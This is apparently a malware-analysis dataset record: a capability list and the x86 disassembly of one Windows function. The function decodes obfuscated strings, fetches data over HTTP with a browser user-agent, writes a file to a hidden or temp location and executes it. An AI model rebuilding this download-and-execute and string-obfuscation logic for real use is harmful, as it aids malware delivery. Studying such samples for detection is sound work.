Function at 0x100104c0
Capabilities:
Check if file exists
Contain obfuscated stackstrings
Create directory
Create process on windows
Delete file
Encode data using xor
Get common file path
Get file attributes
Reference http user-agent string
Set file attributes
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1003c4e1
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x71c
push esi
push edi
mov edi, ecx
mov byte [ebp - 0x38], 0x27
mov ch, 0x6b
mov byte [ebp - 0xe], 0x68
mov cl, 0x77
mov byte [ebp - 0xd], ch
mov dword [ebp - 0x4c], ecx
mov al, 0x63
movsx ecx, byte [ebp - 0x38]
mov dl, 0x69
mov byte [ebp - 0xf], 0x7b
mov ah, 0x81
mov byte [ebp - 0x10], 0x6c
mov dh, 0x7c
mov byte [ebp - 0x11], 0x79
mov byte [ebp - 0x2d], 0
and ecx, 0x8000000f
jns 0x1001051d
dec ecx
or ecx, 0xfffffff0
inc ecx
sub al, cl
mov dword [ebp - 0x48], ecx
sub dh, byte [ebp - 0x48]
sub dl, cl
mov byte [ebp - 0x37], al
sub ah, cl
mov al, byte [ebp - 0xe]
mov ecx, dword [ebp - 0x4c]
mov ch, byte [ebp - 0xd]
mov byte [ebp - 0x36], dl
mov byte [ebp - 0x34], dh
mov edx, dword [ebp - 0x48]
sub cl, dl
sub al, dl
mov byte [ebp - 0x33], cl
mov byte [ebp - 0x31], al
sub ch, dl
mov al, byte [ebp - 0xf]
sub al, dl
mov byte [ebp - 0x32], ch
mov byte [ebp - 0x30], al
mov al, byte [ebp - 0x10]
sub al, dl
mov byte [ebp - 0x35], ah
mov byte [ebp - 0x2f], al
mov al, byte [ebp - 0x11]
sub al, dl
mov byte [ebp - 0x2d], 0
mov byte [ebp - 0x2e], al
xor ecx, ecx
mov al, 0x3a
mov dword [ebp - 0x21], 0x797c5a3a
mov dword [ebp - 0x1d], 0x776b7c71
mov dword [ebp - 0x19], 0x6b7e6b4e
mov byte [ebp - 0x15], 0
nop dword [eax]
movsx eax, al
and eax, 0x8000000f
jns 0x1001059f
dec eax
or eax, 0xfffffff0
inc eax
sub byte [ebp + ecx - 0x20], al
inc ecx
cmp ecx, 0xb
jae 0x100105ae
mov al, byte [ebp - 0x21]
jmp 0x10010590
lea eax, [ebp - 0x20]
mov byte [ebp - 0x15], 0
push eax
call fcn.10028f1e
mov edx, eax
mov dword [ebp - 0x70], 0
mov ecx, edx
mov dword [ebp - 0x6c], 0xf
add esp, 4
mov byte [ebp - 0x80], 0
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x100105d7
sub ecx, esi
push ecx
push edx
lea ecx, [ebp - 0x80]
call fcn.10001d00
lea eax, [ebp - 0x37]
mov dword [ebp - 4], 0
push eax
lea ecx, [ebp - 0x80]
call fcn.10014cc0
mov dword [ebp - 0x88], 0
mov dword [ebp - 0x84], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x98], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x88], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov byte [ebp - 4], 2
mov edx, dword [ebp - 0x6c]
cmp edx, 0x10
jb 0x10010671
mov ecx, dword [ebp - 0x80]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x10010667
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10010da4
push edx
push ecx
call fcn.1001a1f6
add esp, 8
cmp dword [ebp - 0x84], 0x10
lea eax, [ebp - 0x98]
mov dword [ebp - 0x70], 0
cmovae eax, dword [ebp - 0x98]
push eax
mov dword [ebp - 0x6c], 0xf
mov byte [ebp - 0x80], 0
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x100106a8
and eax, 0x10
jne 0x100106e8
cmp dword [ebp - 0x84], 0x10
lea eax, [ebp - 0x98]
push 0
cmovae eax, dword [ebp - 0x98]
push eax
push 0
call dword [sym.imp.SHELL32.dll_SHCreateDirectoryExA]
test eax, eax
jne 0x100106e8
cmp dword [ebp - 0x84], 0x10
lea eax, [ebp - 0x98]
push 0x16
cmovae eax, dword [ebp - 0x98]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push 0
push 0x1004cc18
lea ecx, [ebp - 0x68]
mov dword [ebp - 0x58], 0
mov dword [ebp - 0x54], 0xf
mov byte [ebp - 0x68], 0
call fcn.10001d00
mov byte [ebp - 4], 3
lea ecx, [ebp - 0xf4]
push 0
push 0x1004cc18
mov dword [ebp - 0xe4], 0
mov dword [ebp - 0xe0], 0xf
mov byte [ebp - 0xf4], 0
call fcn.10001d00
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x44]
push 0
push 0x1004cc18
mov dword [ebp - 0x34], 0
mov dword [ebp - 0x30], 0xf
mov byte [ebp - 0x44], 0
call fcn.10001d00
mov byte [ebp - 4], 5
lea ecx, [ebp - 0x2c]
push 0
push 0x1004cc18
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x18], 0xf
mov byte [ebp - 0x2c], 0
call fcn.10001d00
mov byte [ebp - 4], 6
lea ecx, [ebp - 0x80]
push 0x6f
push str.Mozilla_5.0__Windows_NT_10.0__Win64__x64__AppleWebKit_537.36__KHTML__like_Gecko__Chrome_114.0.0.0_Safari_537.36
mov dword [ebp - 0x70], 0
mov dword [ebp - 0x6c], 0xf
mov byte [ebp - 0x80], 0
call fcn.10001d00
lea eax, [ebp - 0x68]
mov byte [ebp - 4], 7
push eax
lea eax, [ebp - 0xf4]
push eax
lea eax, [ebp - 0x44]
push eax
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp - 0x80]
push eax
push edi
lea ecx, [ebp - 0x318]
call fcn.10008940
mov byte [ebp - 4], 9
mov edx, dword [ebp - 0x6c]
cmp edx, 0x10
jb 0x10010808
mov ecx, dword [ebp - 0x80]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x100107fe
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10010db3
push edx
push ecx
call fcn.1001a1f6
add esp, 8
mov byte [ebp - 4], 0xa
mov edx, dword [ebp - 0x18]
cmp edx, 0x10
jb 0x10010840
mov ecx, dword [ebp - 0x2c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x10010836
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10010db3
push edx
push ecx
call fcn.1001a1f6
add esp, 8
mov byte [ebp - 4], 0xb
mov edx, dword [ebp - 0x30]
cmp edx, 0x10
jb 0x10010878
mov ecx, dword [ebp - 0x44]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x1001086e
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10010db3
push edx
push ecx
call fcn.1001a1f6
add esp, 8
mov byte [ebp - 4], 0xc
mov edx, dword [ebp - 0xe0]
cmp edx, 0x10
jb 0x100108b6
mov ecx, dword [ebp - 0xf4]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x100108ac
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10010db3
push edx
push ecx
call fcn.1001a1f6
add esp, 8
mov byte [ebp - 4], 0xd
mov edx, dword [ebp - 0x54]
cmp edx, 0x10
jb 0x100108ee
mov ecx, dword [ebp - 0x68]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x100108e4
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10010db3
push edx
push ecx
call fcn.1001a1f6
add esp, 8
lea ecx, [ebp - 0x164]
call fcn.1000df60
mov byte [ebp - 4], 0xe
lea ecx, [ebp - 0x68]
push 0
push 0x1004cc18
mov dword [ebp - 0x58], 0
mov dword [ebp - 0x54], 0xf
mov byte [ebp - 0x68], 0
call fcn.10001d00
lea eax, [ebp - 0x164]
mov byte [ebp - 4], 0xf
push eax
lea eax, [ebp - 0x68]
push eax
lea ecx, [ebp - 0x318]
call fcn.10007d30
mov byte [ebp - 4], 0xe
mov edx, dword [ebp - 0x54]
cmp edx, 0x10
jb 0x10010970
mov ecx, dword [ebp - 0x68]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x10010966
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10010da9
push edx
push ecx
call fcn.1001a1f6
add esp, 8
cmp dword [ebp - 0x134], 0xc8
jne 0x10010d48
cmp dword [ebp - 0x150], 0x10
lea esi, [ebp - 0x164]
mov eax, dword [ebp - 0x130]
cmovae esi, dword [ebp - 0x164]
mov dword [ebp - 0x4c], eax
test esi, esi
je 0x10010d48
movaps xmm0, xmmword [0x1004d860]
xor ecx, ecx
movups xmmword [ebp - 0xda], xmm0
mov word [ebp - 0x9a], 0x74
movaps xmm0, xmmword [0x1004d8a0]
movups xmmword [ebp - 0xca], xmm0
movaps xmm0, xmmword [0x1004d890]
movups xmmword [ebp - 0xba], xmm0
movaps xmm0, xmmword [0x1004d870]
movups xmmword [ebp - 0xaa], xmm0
nop dword [eax + eax]
mov al, byte [ebp - 0xda]
xor byte [ebp + ecx - 0xd9], al
inc ecx
cmp ecx, 0x40
jb 0x100109f0
push 0x20
lea eax, [ebp - 0xd9]
mov byte [ebp - 0x99], 0
push eax
lea eax, [ebp - 0x624]
push 0x104
push eax
call fcn.10027bc7
push 0x20
lea eax, [ebp - 0xb9]
mov byte [ebp - 0x604], 0
push eax
lea eax, [ebp - 0x728]
push 0x104
push eax
call fcn.10027bc7
add esp, 0x20
mov byte [ebp - 0x708], 0
lea ecx, [ebp - 0x624]
call fcn.100075b0
mov edi, eax
test edi, edi
je 0x10010d48
lea ecx, [ebp - 0x728]
call fcn.100075b0
mov dword [ebp - 0x30], eax
test eax, eax
jne 0x10010a84
push edi
call fcn.10024f30
add esp, 4
jmp 0x10010d48
mov edx, dword [ebp - 0x4c]
mov ecx, esi
push eax
push edi
call fcn.100016e0
push edi
call fcn.10024f30
push dword [ebp - 0x30]
call fcn.10024f30
add esp, 0x10
lea eax, [ebp - 0x268]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea ecx, [ebp - 0x68]
call fcn.100076c0
mov edi, eax
cmp dword [edi + 0x14], 0x10
jb 0x10010ac5
mov edi, dword [edi]
mov ch, 0x1d
mov byte [ebp - 0x2d], 0
mov cl, 0x6e
mov byte [ebp - 0x32], ch
mov al, 0x38
mov byte [ebp - 0x2d], 0
mov dl, al
mov ah, cl
xor al, ch
xor ah, ch
mov byte [ebp - 0x31], al
xor cl, ch
mov byte [ebp - 0x2e], ah
xor dl, ch
push edi
lea eax, [ebp - 0x268]
mov byte [ebp - 0x30], cl
push eax
lea eax, [ebp - 0x31]
mov byte [ebp - 0x2f], dl
push eax
lea eax, [ebp - 0x41c]
push eax
call fcn.100020a0
mov edx, dword [ebp - 0x54]
add esp, 0x10
cmp edx, 0x10
jb 0x10010b3d
mov ecx, dword [ebp - 0x68]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x10010b33
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10010dae
push edx
push ecx
call fcn.1001a1f6
add esp, 8
mov al, 0x14
mov byte [ebp - 0x2d], 0
mov byte [ebp - 0x30], al
mov cl, 0x7b
movsx eax, al
mov dl, 0x66
and eax, 0x8000000f
jns 0x10010b59
dec eax
or eax, 0xfffffff0
inc eax
sub cl, al
mov byte [ebp - 0x2d], 0
sub dl, al
mov byte [ebp - 0x2f], cl
lea eax, [ebp - 0x2f]
mov byte [ebp - 0x2e], dl
push eax
lea eax, [ebp - 0x41c]
push eax
lea eax, [ebp - 0x48]
push eax
call fcn.10025820
add esp, 0xc
test eax, eax
jne 0x10010d48
mov eax, dword [ebp - 0x48]
test eax, eax
je 0x10010d48
mov edi, dword [ebp - 0x4c]
push eax
push edi
push 1
push esi
call fcn.1002836e
add esp, 0x10
push dword [ebp - 0x48]
cmp eax, edi
je 0x10010bb5
call fcn.100258dd
add esp, 4
jmp 0x10010d48
call fcn.100258dd
add esp, 4
lea eax, [ebp - 0x268]
push eax
push 0
push 0
push 0x1c
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
mov al, 0x52
mov dword [ebp - 0x23], 0x5e752752
mov dword [ebp - 0x1f], 0x72777c64
xor ecx, ecx
mov dword [ebp - 0x1b], 0x67766366
mov word [ebp - 0x17], 0x5e74
mov byte [ebp - 0x15], 0
movsx eax, al
and eax, 0x8000000f
jns 0x10010c04
dec eax
or eax, 0xfffffff0
inc eax
sub byte [ebp + ecx - 0x22], al
inc ecx
cmp ecx, 0xd
jae 0x10010c13
mov al, byte [ebp - 0x23]
jmp 0x10010bf5
lea eax, [ebp - 0x268]
mov byte [ebp - 0x15], 0
push eax
lea eax, [ebp - 0x22]
push eax
lea eax, [ebp - 0x520]
push 0x104
push eax
call fcn.10007590
add esp, 8
lea edx, [ebp - 0x520]
lea ecx, [ebp - 0x41c]
call fcn.100074d0
add esp, 8
lea eax, [ebp - 0x41c]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
movaps xmm0, xmmword [0x1004dad0]
xor ecx, ecx
movups xmmword [ebp - 0x68], xmm0
mov dword [ebp - 0x58], 0x66756265
mov dword [ebp - 0x54], 0x79662f73
mov word [ebp - 0x50], 0x66
nop dword [eax + eax]
movsx eax, byte [ebp - 0x68]
and eax, 0x8000000f
jns 0x10010c90
dec eax
or eax, 0xfffffff0
inc eax
sub byte [ebp + ecx - 0x67], al
inc ecx
cmp ecx, 0x18
jb 0x10010c80
lea eax, [ebp - 0x268]
mov byte [ebp - 0x4f], 0
push eax
lea eax, [ebp - 0x67]
push eax
lea eax, [ebp - 0x520]
push 0x104
push eax
call fcn.10007590
add esp, 0x10
mov dword [ebp - 0xdc], 0x44
lea eax, [ebp - 0x3c]
xorps xmm0, xmm0
movlpd qword [ebp - 0xd8], xmm0
movlpd qword [ebp - 0xd0], xmm0
push eax
lea eax, [ebp - 0xdc]
movlpd qword [ebp - 0xc8], xmm0
push eax
push 0
push 0
push 0
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x520]
movlpd qword [ebp - 0xc0], xmm0
push eax
movlpd qword [ebp - 0xb8], xmm0
movlpd qword [ebp - 0xb0], xmm0
movlpd qword [ebp - 0xa8], xmm0
movlpd qword [ebp - 0xa0], xmm0
movups xmmword [ebp - 0x3c], xmm0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x10010d48
push dword [ebp - 0x3c]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0x38]
call esi
lea ecx, [ebp - 0x164]
call fcn.100103e0
lea ecx, [ebp - 0x318]
call fcn.100101d0
mov edx, dword [ebp - 0x84]
pop edi
pop esi
cmp edx, 0x10
jb 0x10010d96
mov ecx, dword [ebp - 0x98]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x10010d8c
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10010db3
push edx
push ecx
call fcn.1001a1f6
add esp, 8
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret
call fcn.10020517
call fcn.10020517
call fcn.10020517
call fcn.10020517
int3